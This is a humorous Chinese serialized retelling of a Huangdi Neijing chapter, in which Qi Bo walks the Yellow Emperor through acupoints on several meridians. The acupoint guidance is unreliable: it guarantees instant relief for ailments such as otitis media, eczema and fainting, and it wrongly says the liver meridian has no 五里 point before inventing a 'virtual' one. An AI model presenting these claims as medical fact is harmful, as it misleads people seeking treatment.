再往上走，就到了太冲穴了。这太冲穴啊，在脚背上，第一、二跖骨结合部之前凹陷处。它可是个情绪的调节阀！要是你情绪不稳定，一会儿高兴一会儿悲伤的，那就多揉揉太冲穴吧！它能帮你稳定情绪，让你变得心平气和。 继续往上，咱们就来到了中封穴。这中封穴啊，在内踝前1寸，胫骨前肌腱的内侧凹陷处。要说这中封穴啊，它可是个封印师！要是你最近感觉身体里的气血乱窜、不舒服啥的，那就让中封穴来帮你封印一下吧！它能帮你调和气血、疏通经络。 接下来是蠡沟穴，它在小腿内侧，当足内踝尖上5寸，胫骨内侧面的中央。要说这蠡沟穴啊，它可是个妇科的小能手！要是女性朋友们有月经不调、痛经啥的，不妨多揉揉蠡沟穴吧！它能帮你调理气血、缓解妇科问题。 再往上走，咱们就来到了中都穴。这中都穴啊，在内踝上7寸，胫骨内侧面的中央。要说这中都穴啊，它可是个脾胃的守护者！要是你脾胃不好、消化不良啥的，那就让中都穴来帮你守护一下吧！它能帮你健脾和胃、促进消化。 接下来是膝关穴，它在小腿内侧，胫骨内上髁的后下方，阴陵泉后1寸，腓肠肌内侧头的上部。要说这膝关穴啊，它可是个膝盖的保镖！要是你膝盖疼、走路不方便啥的，那就多揉揉膝关穴吧！它能帮你缓解膝盖疼痛、增强膝盖的稳定性。 再往上走，咱们就来到了曲泉穴。这曲泉穴啊，在膝内侧横纹头上方，胫骨内髁的后缘。要说这曲泉穴啊，它可是个肝肾的营养师！要是你肝肾不足、腰膝酸软啥的，那就让曲泉穴来帮你补充一下营养吧！它能帮你滋养肝肾、强健腰膝。 接下来是阴包穴，它在大腿内侧，股骨内上髁上4寸，股内肌与缝匠肌之间。要说这阴包穴啊，它可是个气血的调度员！要是你气血不畅、身体感觉不舒服啥的，那就让阴包穴来帮你调度一下气血吧！它能帮你疏通经络、调和气血。 继续往上走，咱们就来到了五里穴。不过这里要说明的是，传统中医穴位中并没有直接对应“五里穴”在足厥阴肝经上的确切位置，但为了趣味性和完整性，咱们可以将其理解为肝经在手臂上的一个“虚拟穴位”，寓意着肝经气血能远达手臂，给予力量。要是你最近感觉手臂无力、容易疲劳啥的，那就想象一下揉揉这个“五里穴”吧！它能帮你给手臂加个油、提提神！ 终于啊，咱们来到了肝经的最后一个穴位——章门穴。这章门穴啊，在侧腹部，当第十一肋游离端的下方。要说这章门穴啊，它可是个脏腑的总开关！要是你脏腑功能失调、身体不舒服啥的，那就多揉揉章门穴吧！它能帮你调和脏腑、疏通全身的气血。 小主， 这足厥阴肝经啊，就像是咱们身体里的快乐源泉一样！它不仅能帮咱们调节情绪、缓解压力，还能帮咱们疏通经络、调和气血。所以啊，大家平时有空的时候不妨多揉揉这些穴位吧！说不定还能发现自己身上的一些小秘密呢！ 黄帝陛下突发奇想，决定找岐伯聊聊中医里的那些事儿。黄帝摸了摸下巴上的小胡子，一脸认真地问道：“岐伯啊，我一直对手太阳经挺感兴趣的，你能不能给我讲讲这其中的门道呢？” 岐伯一听，眼睛一亮，心想：嘿，这黄帝陛下今儿个是想探索人体的‘小宇宙’啊！于是，他捋了捋长须，慢悠悠地说：“陛下啊，手太阳经这事儿，咱们得从头说起。在外呢，它跟淮水有得一拼，都是流淌不息；在内呢，它就归小肠管了，负责咱们身体里的水道畅通无阻。” 黄帝一听，眉头微皱：“水道？这是啥意思？” 岐伯笑了笑，解释道：“这水道啊，其实就是咱们身体里的水液循环系统。手太阳小肠经就像是一条高速公路，把从食物中吸收的水分和营养，源源不断地输送到全身各处。同时呢，它还能把多余的废水排出体外，保持咱们身体的平衡和健康。” 黄帝恍然大悟：“原来如此！那这条经上都有哪些重要的穴位呢？能不能给我详细介绍介绍？” 岐伯点了点头，开始了他的“穴位大揭秘”。 “首先啊，咱们得说说少泽穴。它就在咱们小指的指甲根旁边，一点点儿的位置。你可别小看这个穴位，它就像是指尖上的一个小喷泉，能帮我们清热利咽，通乳开窍。要是嗓子疼了，或者奶水不通了，按按它，嘿，效果杠杠的！” 黄帝一听，眼睛一亮：“这么神奇？那以后妃子们要是奶水不足，岂不是可以按按这个穴位就解决了？” 岐伯老师哈哈大笑：“陛下英明！不过啊，这穴位按摩也是有讲究的，得找专业的医师来操作才行。” “接下来呢，咱们说说前谷穴。它就在咱们小指和无名指之间的掌指关节前，一摸就能摸到。这个穴位啊，就像是掌心里的一个清凉小站，能帮咱们清热泻火，安神定志。要是心烦意乱了，或者上火了，按按它，保证你心情大好，火气全消！” 黄帝点了点头：“嗯，这穴位听起来就很实用。以后大臣们要是上火了，我就让他们来按按这个穴位，省得他们老是跟我急眼。” 岐伯老师笑着摇了摇头：“陛下啊，这穴位虽然好，但也不能滥用。每个人的体质都不一样，得根据实际情况来调理才行。” “再来说说后溪穴吧。它就在咱们小指的掌指关节后，握拳的时候就能摸到。这个穴位啊，简直是颈椎的守护神！要是颈椎疼了，或者肩膀僵硬了，按按它，保证你舒服得直哼哼。而且啊，它还能帮咱们通经活络，调理睡眠。要是失眠了，按按它，也能起到很好的助眠效果哦！” 黄帝一听，眼睛瞪得圆圆的：“这么神奇？那以后我熬夜批奏章累了，岂不是可以按按这个穴位就能提神醒脑了？” 岐伯老师微笑着点了点头：“没错，陛下。不过啊，这穴位虽然好，但也不能代替休息。您还是得注意劳逸结合，才能保持身体健康啊。” “接下来呢，咱们说说腕骨穴。它就在咱们手背第五掌骨基底与三角骨之间的凹陷处。这个穴位啊，就像是手腕上的一个小卫士，能帮咱们清热明目，舒筋活络。要是眼睛干涩了，或者手腕疼了，按按它，保证你眼睛亮堂堂，手腕也不疼了。” 黄帝摸了摸自己的手腕：“嗯，这个穴位听起来就很贴心。以后我批奏章批累了，手腕酸了，就可以按按这个穴位来缓解一下了。” 岐伯老师点了点头：“是啊，陛下。不过啊，这穴位按摩也是有技巧的。你得用适当的力度和频率来刺激它，才能达到最好的效果哦。” “再来说说阳谷穴吧。它就在咱们手腕尺侧，尺骨茎突与三角骨之间的凹陷处。这个穴位啊，就像是手腕上的一个小火炉，能帮咱们生发阳气，调理气血。要是手脚冰凉了，或者气血不足了，按按它，保证你全身暖和和的，气色也好起来。” 黄帝搓了搓自己的手：“嗯，这个穴位听起来就很温暖。以后冬天冷了，我就可以按按这个穴位来取暖了。” 岐伯忍不住笑了：“陛下啊，这穴位虽然能帮你取暖，但也不能代替厚衣服哦。您还是得注意保暖，才能避免感冒生病啊。” “接下来呢，咱们说说养老穴。它就在咱们前臂背面尺侧，当尺骨小头近端桡侧凹陷中。这个穴位啊，简直是老年人的福音！它能帮咱们清头明目，舒筋活络。要是头晕眼花了，或者肩膀手臂疼了，按按它，保证你精神焕发，疼痛全无。” 黄帝摸了摸自己的下巴：“嗯，这个穴位听起来就很适合老年人。以后我老了，也可以按按这个穴位来保健养生了。” 本小章还未完，请点击下一页继续阅读后面精彩内容！ 岐伯笑着点了点头：“是啊，陛下。不过啊，这穴位虽然好，但也不能代替锻炼。您还是得保持适量的运动，才能保持身体健康哦。” “再来说说支正穴吧。它就在咱们前臂背面尺侧，阳谷与小海的连线上，腕背横纹上5寸。这个穴位啊，就像是皮肤的小护士，能帮咱们清热泻火，解毒散结。要是皮肤长痘了，或者长湿疹了，按按它，保证你皮肤光滑细腻，痘痘湿疹全不见。” 黄帝摸了摸自己的脸：“嗯，这个穴位听起来就很适合我。以后我脸上要是长痘了，就可以按按这个穴位来消灭了。” 岐伯忍俊不禁：“陛下啊，这穴位虽然能帮你消灭痘痘，但也不能代替良好的生活习惯哦。您还是得注意饮食清淡，作息规律，才能避免痘痘的困扰啊。” “最后呢，咱们说说小海穴。它就在咱们肘内侧，尺骨鹰嘴与肱骨内上髁之间凹陷处。这个穴位啊，就像是手臂上的一个小水库，能帮咱们清热安神，通经活络。要是手臂疼了，或者心烦意乱了，按按它，保证你手臂不疼了，心情也大好。” 黄帝拍了拍自己的手臂：“嗯，这个穴位听起来就很实用。以后我手臂要是疼了，就可以按按这个穴位来缓解了。” 岐伯微笑着总结道：“陛下啊，这手太阳小肠经上的穴位啊，个个都是宝贝。它们能帮咱们调理身体，保健养生。不过啊，这穴位按摩也是有讲究的，得找专业的医师来操作才行。而且啊，每个人的体质都不一样，得根据实际情况来调理才行哦。” 咱们再来回顾一下这些穴位吧！少泽穴、前谷穴、后溪穴、腕骨穴、阳谷穴、养老穴、支正穴、小海穴……每一个穴位都是咱们身体里的宝贝哦！它们默默地守护着咱们的身体健康，等待着咱们去发现、去呵护。所以呀，咱们平时得多关注自己的身体哦！要是发现有啥不对劲儿的地方啊，可得赶紧调理才行呢！ 经水篇第十二（五） 黄帝一脸好奇地问岐伯：岐伯啊，我这心里老有个事儿憋着，就是想问问，那手少阳经到底是个啥玩意儿？你给我说道说道。 岐伯捋了捋胡子，故作高深地说：哎呀，皇上您这可是问对人了。这手少阳经啊，外头跟那漯水（咱们就理解为一条大河吧，不过这条河在中医理论里是虚指的，别太纠结）是亲戚，里头呢，就跟咱们身体里的三焦是一家子。 黄帝眼睛一亮：哟呵，这么神奇？那你快给我细细讲讲，这手少阳经都经过哪些地方，有啥穴位，这些穴位又能干啥？ 岐伯清了清嗓子，开始娓娓道来：好嘞，那咱就从头开始说。这手少阳经啊，它从咱们的无名指末端，就是那个关冲穴开始。它位于无名指尺侧，距指甲角0.1寸。这可是个急救穴啊！要是突然中暑了、晕厥了，赶紧掐掐这儿，能醒神开窍、泄热解毒。想象一下，炎炎夏日，你走在路上，突然感觉头晕目眩，眼一黑就要倒，这时候，旁边的好心人大喊一声：“别怕，我来救你！”然后一顿猛掐关冲穴，你立马就精神了，跟打了鸡血似的，是不是很神奇？ 黄帝听得津津有味：哈哈，这穴位这么牛？那接下来呢？ 岐伯：接下来啊，咱就到了液门穴。这液门穴在无名指的指缝里，靠近小指那边。它位于手背部，第4、5指间，指蹼缘后方赤白肉际处。这个穴位啊，能清热泻火、疏经活络。你要是上火了，比如嗓子疼、牙疼啥的，揉揉这儿，保证你立马舒服多了。想想看，你正吃着火锅唱着歌，突然牙疼得要命，这时候，你伸出手指，对着液门穴一顿猛揉，牙疼立马就缓解了，是不是感觉人生又充满了希望？ 黄帝笑得前仰后合：有意思，有意思！那继续继续！ 岐伯：好嘞，咱再往上走，就到了中渚穴。这中渚穴在手掌和手背的交界处，靠近小指那边。它位于手背部，当环指本节（掌指关节）的后方，第4、5掌骨间凹陷处。这个穴位啊，能清热疏风、舒筋活络。你要是头疼、耳鸣啥的，揉揉这儿，保证你耳聪目明、头脑清醒。比如说吧，你正忙着加班赶报告，突然感觉头疼得厉害，耳朵里还嗡嗡响，这时候，你停下来，对着中渚穴一顿猛揉，头疼耳鸣立马就减轻了，是不是感觉工作效率都提高了？ 黄帝连连点头：不错不错，这穴位确实挺管用。那还有呢？ 岐伯：别急别急，咱还有阳池穴呢。这阳池穴在手腕那儿，靠着小指那边。它在腕后区，腕背侧横纹上，指伸肌腱的尺侧缘凹陷中。这个穴位啊，能生发阳气、沟通表里。你要是手脚冰凉、怕冷啥的，揉揉这儿，保证你全身暖和和的。比如说吧，大冬天的，你穿着羽绒服还冻得直哆嗦，这时候，你伸出双手，对着阳池穴一顿猛揉，立马就感觉一股暖流涌遍全身，是不是很神奇？ 黄帝笑得合不拢嘴：哈哈，这穴位简直就是冬天里的小太阳啊！那接下来呢？ 岐伯：接下来啊，咱就到了外关穴。这外关穴在手腕那儿，靠着手背中间。它在前臂后区，腕背侧远端横纹上2寸，尺骨与桡骨间隙中点。这个穴位啊，能清热解毒、通络止痛。你要是感冒了、头疼啥的，揉揉这儿，保证你立马舒服多了。想想看，你正忙着赶飞机，突然感觉头疼得厉害，鼻子还不通气，这时候，你停下来，对着外关穴一顿猛揉，头疼鼻塞立马就缓解了，是不是很实用？ 黄帝眼睛放光：实用实用！那还有没有其他穴位了？ 岐伯：当然还有啦！咱还有支沟穴呢。这支沟穴在前臂那儿，靠近手腕三分之一的地方。它在前臂后区，腕背侧远端横纹上3寸，尺骨与桡骨间隙中点。这个穴位啊，能通经活络、清热泻火。你要是便秘了、胁肋疼了啥的，揉揉这儿，保证你立马通畅无阻、疼痛消失。比如说吧，你正坐在马桶上，使劲儿了半天也没动静，这时候，你伸出手指，对着支沟穴一顿猛揉，保证你立马就“噗嗤”一声，是不是很畅快？ 黄帝笑得眼泪都出来了：哈哈，这穴位简直就是肠道的清道夫啊！那接下来呢？ 岐伯：接下来啊，咱就到了天井穴。这天井穴在肘尖儿上一寸多的地方。它在肘后区，肘尖上1寸凹陷中。这个穴位啊，能清热凉血、舒筋通络。你要是脖子疼了、肩膀酸了啥的，揉揉这儿，保证你立马轻松多了。想想看，你正坐在电脑前加班，突然感觉脖子僵硬得要命，肩膀也酸得抬不起来，这时候，你站起来，对着天井穴一顿猛揉，立马就感觉脖子和肩膀都轻松多了，是不是很惬意？ 黄帝连连称赞：惬意惬意！那还有没有其他穴位了？ 岐伯：当然还有啦！咱还有肩髎穴呢。这肩髎穴在肩膀上，靠近肩峰的地方。它在三角肌区，肩峰角与肱骨大结节两骨间凹陷中。这个穴位啊，能通络止痛、舒筋活络。你要是肩周炎了、肩膀疼了啥的，揉揉这儿，保证你立马舒服多了。比如说吧，你正忙着搬东西，突然感觉肩膀疼得要命，这时候，你停下来，对着肩髎穴一顿猛揉，立马就感觉肩膀轻松多了，是不是很给力？ 本小章还未完，请点击下一页继续阅读后面精彩内容！ 黄帝笑得前俯后仰：哈哈，这穴位简直就是肩膀的小卫士啊！那接下来呢？ 岐伯：接下来啊，咱就到了翳风穴。这翳风穴在耳朵后面，靠近下颌角的地方。它在颈部，耳垂后方，下颌角与乳突之间凹陷中。这个穴位啊，能聪耳通络、祛风泄热。你要是耳鸣了、耳聋了啥的，揉揉这儿，保证你听力立马提高。想想看，你正坐在教室里听课，突然感觉耳朵嗡嗡响，啥都听不清了，这时候，你伸出手指，对着翳风穴一顿猛揉，立马就感觉耳朵清楚多了，是不是很神奇？ 黄帝笑得合不拢嘴：哈哈，这穴位简直就是耳朵的小助手啊！那还有没有其他穴位了？ 岐伯：当然还有啦！不过说到这儿啊，咱手少阳经的穴位就差不多了。不过呢，为了让你更满意，我再给你加个现代针灸理论里常用的穴位吧——角孙穴。这个穴位在耳朵尖儿上，你摸摸看，是不是有个软软的小骨头？它在头部，折耳廓向前，当耳尖直上入发际处。这个穴位啊，能清热消肿、散风止痛。你要是头疼了、牙龈肿痛了啥的，揉揉这儿，保证你立马舒服多了。比如说吧，你正忙着开会，突然感觉头疼得厉害，牙龈也肿得要命，这时候，你停下来，对着角孙穴一顿猛揉，立马就感觉头疼减轻了，牙龈也不那么疼了，是不是很实用？ 黄帝笑得眼泪都出来了：哈哈，岐伯啊岐伯，你可真是个宝藏啊！今天这课讲得真是太精彩了！ 岐伯谦虚地拱了拱手：哪里哪里，皇上您过奖了。能为皇上分忧解难，臣倍感荣幸。 黄帝拍了拍岐伯的肩膀：好了好了，咱们今天就先到这儿吧。改天有空了，你再给我讲讲足少阳经的事儿吧！ 有一天，黄帝闲来无事，就琢磨着找岐伯聊聊天，增长点医学知识。黄帝开口了：“岐伯啊，我这人对医学那是相当热爱，尤其是针灸这块儿，简直是爱不释手。今天，我特别想了解一下咱们的手阳明经，你给我讲讲呗？” 岐伯一听，嘿，黄帝这是又馋针灸这块儿‘大蛋糕’了，于是笑眯眯地说：“行啊，黄帝老。，那我就给你说道说道这手阳明经的事儿。” 黄帝一听，立马来了精神，耳朵竖得跟天线似的，生怕错过一个字。 岐伯清了清嗓子，开始讲了起来：“这手阳明经啊，外合于江水，内属于大肠。江水嘛，咱就不多说了，就是自然界里的江水；大肠呢，就是你肚子里的那个‘垃圾处理厂’，负责把身体里的废物给排出去。这条经络要是通了，那大肠的工作可就顺畅多了，身体也就更健康啦！” 黄帝一听，觉得岐伯说得挺有道理，但又觉得不过瘾，于是追问道：“岐伯啊，你这说得太笼统了，能不能给我讲讲这手阳明经上的穴位啊？我特想知道它们都在哪儿，有啥作用。” 岐伯一听，黄帝老爷子这是要‘刨根问底’啊，于是就开始细细道来：“行，那我就给你说说这手阳明经上的穴位吧。这条经络上的穴位啊，那可多了去了，咱们就从起点开始讲起。” 岐伯说：“这手阳明经的起点啊，就在你的食指末节桡侧，指甲根角侧上方0.1寸的地方，有个穴位叫商阳。这个穴位啊，可是个好东西，就像是指尖上的‘灭火器’，能帮你灭掉身体里的‘火’。你要是觉得咽喉肿痛、口干舌燥的，那就赶紧揉揉它，保证你立马觉得舒服多了。” 黄帝一听，觉得挺神奇，于是追问：“那要是便秘呢？能不能也揉揉它？” 岐伯笑了笑：“当然可以啊！这商阳穴啊，可是大肠经的井穴，跟大肠那是‘亲家’关系，你揉揉它，大肠不就跟着受益了嘛。不过啊，要是便秘得太厉害，还是得去看医生哦。” 岐伯接着说：“从这商阳穴往后走，在食指第2节桡侧，指甲根角侧后方0.1寸的地方，有个穴位叫二间。这个穴位啊，可是牙齿的‘守护神’。你要是觉得牙痛、牙龈肿痛啥的，那就赶紧揉揉它，保证你立马觉得牙不痛了，吃嘛嘛香。” 黄帝一听，觉得挺有意思，于是又问：“那要是口腔溃疡呢？能不能也揉揉它？” 岐伯点了点头：“可以啊！这二间穴啊，不仅能治牙痛，还能治口腔溃疡、咽喉肿痛啥的。不过啊，这穴位可不是万能的，要是病情严重，还是得去看医生哦。” 岐伯继续讲：“从这二间穴往后走，在食指第2掌指关节后桡侧凹陷处，有个穴位叫三间。这个穴位啊，可是鼻子的‘通气阀’。你要是觉得鼻塞、流涕啥的，那就赶紧揉揉它，保证你立马觉得鼻子通气了，呼吸都顺畅多了。” 黄帝一听，觉得挺实用，于是又问：“那要是感冒了，能不能也揉揉它？” 岐伯笑了笑：“当然可以啊！这三间穴啊，不仅能治鼻塞、流涕，还能治感冒、咳嗽啥的。不过啊，这穴位虽然好，但也不能滥用哦，病情严重的时候还是得去看医生。” 本小章还未完，请点击下一页继续阅读后面精彩内容！ 岐伯继续介绍：“从这三间穴往后走，在第1、2掌骨间，当第2掌骨桡侧的中点处，有个穴位叫合谷。这个穴位啊，那可是止痛的‘万能药’。你要是觉得头痛、牙痛、咽喉痛啥的，那就赶紧揉揉它，保证你立马觉得疼痛减轻了。” 黄帝一听，眼睛一亮：“哎呀妈呀，这合谷穴这么神奇啊！那能不能治痛经呢？” 岐伯哈哈大笑：“黄帝啊，你这问题问得好啊！这合谷穴啊，不仅能治各种疼痛，还能治痛经呢。不过啊，这穴位虽然好，但也不能包治百病哦，病情严重的时候还是得去看医生。” 岐伯接着讲：“从这合谷穴往上走，在腕背横纹桡侧，手拇指向上翘时，当拇短伸肌腱与拇长伸肌腱之间的凹陷处，有个穴位叫阳溪。这个穴位啊，就像是手腕的‘按摩师’。你要是觉得手腕酸痛、无力啥的，那就赶紧揉揉它，保证你立马觉得手腕舒服多了。” 黄帝一听，觉得挺实用，于是又问：“那要是腱鞘炎呢？能不能也揉揉它？” 岐伯点了点头：“可以啊！这阳溪穴啊，不仅能治手腕酸痛、无力，还能治腱鞘炎啥的。不过啊，这穴位虽然好，但也不能代替正规的治疗哦。” 岐伯继续介绍：“从这阳溪穴往上走，在阳溪穴与曲池穴连线上，腕横纹上3寸的地方，有个穴位叫偏历。这个穴位啊，就像是耳朵的‘清道夫’。你要是觉得耳鸣、耳聋啥的，那就赶紧揉揉它，保证你立马觉得耳朵舒服多了。” 黄帝一听，觉得挺新鲜，于是又问：“那要是中耳炎呢？能不能也揉揉它？” 岐伯笑了笑：“当然可以啊！这偏历穴啊，不仅能治耳鸣、耳聋，还能治中耳炎啥的。不过啊，这穴位虽然好，但也不能代替抗生素哦，病情严重的时候还是得去看医生。” 岐伯继续讲：“从这偏历穴往上走，在阳溪穴与曲池穴连线上，腕横纹上5寸的地方，有个穴位叫温溜。这个穴位啊，就像是血液的‘加热器’。你要是觉得手脚冰凉、畏寒啥的，那就赶紧揉揉它，保证你立马觉得身体暖和多了。” 黄帝一听，觉得挺有意思，于是又问：“那要是贫血呢？能不能也揉揉它？” 岐伯摇了摇头：“黄帝老爷子啊，你这问题问得有点偏了。这温溜穴啊，虽然能帮你暖和身体，但并不能直接治疗贫血哦。不过啊，揉揉它对身体还是有好处的。” 岐伯接着介绍：“从这温溜穴往上走，在阳溪穴与曲池穴连线上，还有两个穴位，一个叫下廉，一个叫上廉。这两个穴位啊，就像是肠道的‘清洁工’。你要是觉得腹胀、便秘啥的，那就赶紧揉揉它们，保证你立马觉得肠道顺畅多了。” 黄帝一听，觉得这两个穴位挺实用，于是又问：“那要是腹泻呢？能不能也揉揉它们？” 岐伯笑了笑：“黄帝啊，你这问题问得有点难倒我了。这下廉穴和上廉穴啊，主要是治便秘的，对腹泻的效果可不太明显哦。不过啊，揉揉它们对身体还是没有坏处的。” 岐伯继续讲：“从这上廉穴往上走，在阳溪穴与曲池穴连线上，肘横纹下2寸的地方，有个穴位叫手三里。这个穴位啊，就像是手臂的‘保健师’。你要是觉得手臂酸痛、无力啥的，那就赶紧揉揉它，保证你立马觉得手臂舒服多了。” 黄帝一听，觉得挺实用，于是又问：“那要是网球肘呢？能不能也揉揉它？” 岐伯点了点头：“可以啊！这手三里穴啊，不仅能治手臂酸痛、无力，还能治网球肘啥的。不过啊，这穴位虽然好，但也不能代替正规的治疗哦。” 岐伯最后介绍：“从这手三里穴往上走，在肘横纹外侧端，屈肘，当尺泽穴与肱骨外上髁连线中点的地方，有个穴位叫曲池。这个穴位啊，就像是身体的‘排污口’。你要是觉得身体里有毒素、湿热啥的，那就赶紧揉揉它，保证你立马觉得身体清爽多了。” 黄帝一听，觉得曲池穴真是个好东西，于是又问：“那要是湿疹、荨麻疹呢？能不能也揉揉它？” 岐伯笑了笑：“当然可以啊！这曲池穴啊，不仅能帮身体排毒，还能治湿疹、荨麻疹啥的。不过啊，这穴位虽然好，但也不能代替抗过敏药哦，病情严重的时候还是得去看医生。” 黄帝听完岐伯的讲解，觉得手阳明经真是条神奇的经络，上面的穴位个个都是‘宝贝’。于是，他决定以后一定要好好研究这条经络，把这些‘宝贝’都用到实处去。 经水篇第十二（六） 黄帝突发奇想，决定向身边的岐伯请教一个深奥的问题：“嘿，岐伯啊，我一直对手太阴经挺感兴趣的，你能给我讲讲它的道理不？” 岐伯一听，心里暗笑：“这黄帝，又开始他的十万个为什么模式了。”不过，岐伯可是个有耐心的好导师，他微微一笑，说道：“手太阴啊，这事儿可大了去了。它外合于河水，内属于肺，可是咱们人体经络系统里的大腕儿呢！” 黄帝一听，眼睛一亮：“哦？快说说，快说说！” 岐伯清了清嗓子，开始了他的爆笑中医课：“要说手太阴肺经啊，它就像是咱们身体里的一条大河，流淌着生命之气。这条大河从咱们的中府穴开始，一路奔腾，经过云门、天府、侠白、尺泽、孔最、列缺、经渠、太渊、鱼际，最后到达少商穴，完成了它的使命。” 黄帝听得津津有味，忍不住插嘴道：“等等，等等，岐伯啊，你说的这些穴位都是啥玩意儿？能不能给我详细讲讲？” 岐伯笑了笑，说：“当然可以，咱们一个一个来。” “首先啊，中府穴，它就在咱们胸前，锁骨下窝一寸，前正中线旁开六寸的地方。这个位置啊，就像是肺部的守门员，守着肺的大门。你要是觉得胸闷气短，呼吸不畅，那就得赶紧找找中府穴，给它揉揉，让它帮你打开肺的大门，吸进新鲜空气，呼出废气，整个人都清爽起来！” 黄帝一听，哈哈大笑：“原来中府穴是个守门员啊，有意思！” “接下来是云门穴，它就在中府穴上一寸的地方。这个名字听起来就挺有诗意的，对吧？云门穴啊，就像是云朵的门户，它负责把天上的清气引入肺部，让咱们的肺变得像云朵一样纯净。你要是觉得嗓子干痒，咳嗽不停，那就得请云门穴帮忙了，它能帮你润肺止咳，让你的嗓子像云朵一样柔软。” 黄帝点了点头：“嗯，云门穴这个名字取得真好，一听就知道是个有诗意的穴位。” “然后是天府穴，它就在云门穴下一寸的地方。天府穴啊，就像是天上的仓库，储存着咱们身体的元气。你要是觉得气虚乏力，没精打采的，那就得赶紧补补天府穴了。每天揉揉它，就像是在给身体加油打气，让你精神焕发，活力四射！” 黄帝一听，笑得前仰后合：“天府穴，这个名字听起来就像是个大富翁的仓库，哈哈！” “接下来是侠白穴，它就在天府穴下一寸的地方。侠白穴啊，这个名字听起来就像是侠客身上的白色印记。它负责调节咱们的气血平衡，让咱们的身体像侠客一样强健有力。你要是觉得气血不畅，身体无力，那就得找侠白穴帮忙了。它能帮你打通气血通道，让你的身体像侠客一样矫健。” 黄帝拍了拍手：“侠白穴，这个名字取得真有气势，一听就知道是个有正义感的穴位。” “然后是尺泽穴，它就在肘横纹中，肱二头肌腱桡侧凹陷处。尺泽穴啊，就像是尺子一样，衡量着咱们身体的气血平衡。它还能润肺止咳，清热泻火。你要是觉得喉咙肿痛，咳嗽痰多，那就得赶紧揉揉尺泽穴了。它能帮你清热解毒，让你的喉咙像尺子一样光滑无痕。” 黄帝眨了眨眼：“尺泽穴，这个名字听起来就像是个公正的法官，哈哈！” “接下来是孔最穴，它就在尺泽穴与太渊穴的连线上，腕横纹上7寸的地方。孔最穴啊，就像是孔穴的极致，它负责调节咱们的气血运行，让咱们的身体像孔穴一样通畅无阻。你要是觉得手臂酸痛，手指麻木，那就得找孔最穴帮忙了。它能帮你疏通经络，让你的手臂像孔穴一样灵活自如。” 黄帝摸了摸自己的手臂：“孔最穴，这个名字听起来就像是个精通穴道的专家，哈哈！” “然后是列缺穴，它就在前臂桡侧缘，桡骨茎突上方，腕横纹上1.5寸的地方。列缺穴啊，就像是雷电的缺口，它负责调节咱们的气血平衡，还能止咳平喘，通经活络。你要是觉得咳嗽气喘，头痛项强，那就得赶紧找找列缺穴了。它能帮你止咳平喘，让你的呼吸像雷电一样畅快。” 黄帝笑了笑：“列缺穴，这个名字听起来就像是个能掌控雷电的神仙，哈哈！” “接下来是经渠穴，它就在桡骨茎突内侧，腕横纹上1寸的地方。经渠穴啊，就像是经络的渠道，它负责把气血输送到全身各处。你要是觉得手腕酸痛，手指无力，那就得找经渠穴帮忙了。它能帮你疏通经络，让你的手腕像渠道一样畅通无阻。” 黄帝点了点头：“经渠穴，这个名字取得真贴切，一听就知道是个负责输送气血的穴位。” “然后是太渊穴，它就在腕掌侧横纹桡侧，桡动脉搏动处。太渊穴啊，就像是太深的渊源，它可是咱们手太阴肺经的原穴，就像是肺经的根源一样。它不仅能调节气血平衡，还能止咳化痰，通调血脉。你要是觉得胸闷气短，咳嗽无力，那就得赶紧揉揉太渊穴了。它能帮你润肺止咳，让你的呼吸像深渊一样深沉有力。” 本小章还未完，请点击下一页继续阅读后面精彩内容！ 黄帝摸了摸自己的脉搏：“太渊穴，这个名字听起来就像是个深藏不露的高手，哈哈！” “接下来是鱼际穴，它就在第一掌骨中点桡侧，赤白肉际处。鱼际穴啊，就像是鱼儿的领地，它负责调节咱们的气血运行，还能清热泻火，利咽止痛。你要是觉得咽喉肿痛，咳嗽痰多，那就得找鱼际穴帮忙了。它能帮你清热解毒，让你的咽喉像鱼儿一样自由自在。” 黄帝笑了笑：“鱼际穴，这个名字听起来就像是个海底世界的领袖，哈哈！” “最后是少商穴，它就在拇指桡侧指甲角旁0.1寸的地方。少商穴啊，就像是少年的商榷，它可是咱们手太阴肺经的井穴，就像是肺经的起点一样。它不仅能调节气血平衡，还能清肺利咽，开窍醒神。你要是觉得咽喉肿痛，昏迷休克，那就得赶紧掐掐少商穴了。它能帮你醒神开窍，让你的精神像少年一样朝气蓬勃。” 黄帝拍了拍手：“少商穴，这个名字听起来就像是个充满活力和智慧的少年，哈哈！” 讲到这里，岐伯终于松了一口气：“黄帝啊，手太阴肺经的穴位和功效我都给你讲完了，你可得好好记住啊！” 黄帝笑着点了点头：“放心吧，岐伯，你讲得太生动了，我都记住了。以后啊，我就可以给我的臣民们讲讲这些有趣的穴位了。” 黄帝闲来无事，就琢磨着找岐伯聊聊天，探讨一下人生哲理，哦不，是中医大道。黄帝清了清嗓子，一脸认真地问道：“岐伯啊，我这心里头有个疑惑，就像被猫爪子挠了一样，不问出来就难受。你说说，这手少阴经到底是个啥玩意儿？它在我们身体里是咋运行的？” 岐伯一听，心里暗笑，黄帝还真是童心未泯，连问问题都这么接地气。于是，他捋了捋胡子，慢悠悠地说：“黄帝啊，你这问题问得好！手少阴经嘛，那可是咱们身体里的一条重要经脉，它外合于济水，内属于心。换句话说，就像是一条秘密通道，连接着咱们的心脏和大自然。” 黄帝一听，眼睛一亮，心想：这岐伯说话就是有水平，连经脉都能跟大自然联系起来。于是，他赶紧追问：“那这条经脉上都有些啥穴位呢？它们都在哪儿？又有啥用呢？” 岐伯笑了笑，说：“别急，别急，我这就给你一一道来。” “首先啊，咱们说说这手少阴经的第一个穴位——极泉穴。它在哪儿呢？就在你的腋窝顶点，有脉搏跳动的地方。你想象一下，夏天的时候，你穿着短袖，一抬手，腋窝下面就露出来了，那个跳动的地方就是极泉穴。” 黄帝一听，哈哈大笑：“这穴位名字还挺有诗意，极泉，极泉，是不是就像泉水一样，源源不断啊？” 岐伯点头：“没错，极泉穴就像是心脏的一口井，源源不断的气血从这里涌出，滋养着全身。它主治心痛、咽干烦渴、胁肋疼痛、瘰疬、肩臂疼痛等疾病。你心情不好，压力大的时候，按按这里，也能舒缓情绪，放松身心哦。” “接下来，咱们说说第二个穴位——青灵穴。它在你的上臂内侧，肘横纹上3寸的地方。你把手臂伸直，用另一只手的中指去按，就能找到这个穴位了。” 黄帝眨了眨眼：“青灵穴？这名字听起来好神秘啊，是不是跟小精灵似的？” 岐伯乐了：“也可以这么说吧。青灵穴就像是手臂上的一个小精灵，它主管着头痛、目黄、胁痛、肩臂疼痛等症状。你工作累了，肩膀酸痛的时候，揉一揉青灵穴，就能感觉一股暖流涌过，酸痛感瞬间消失。” 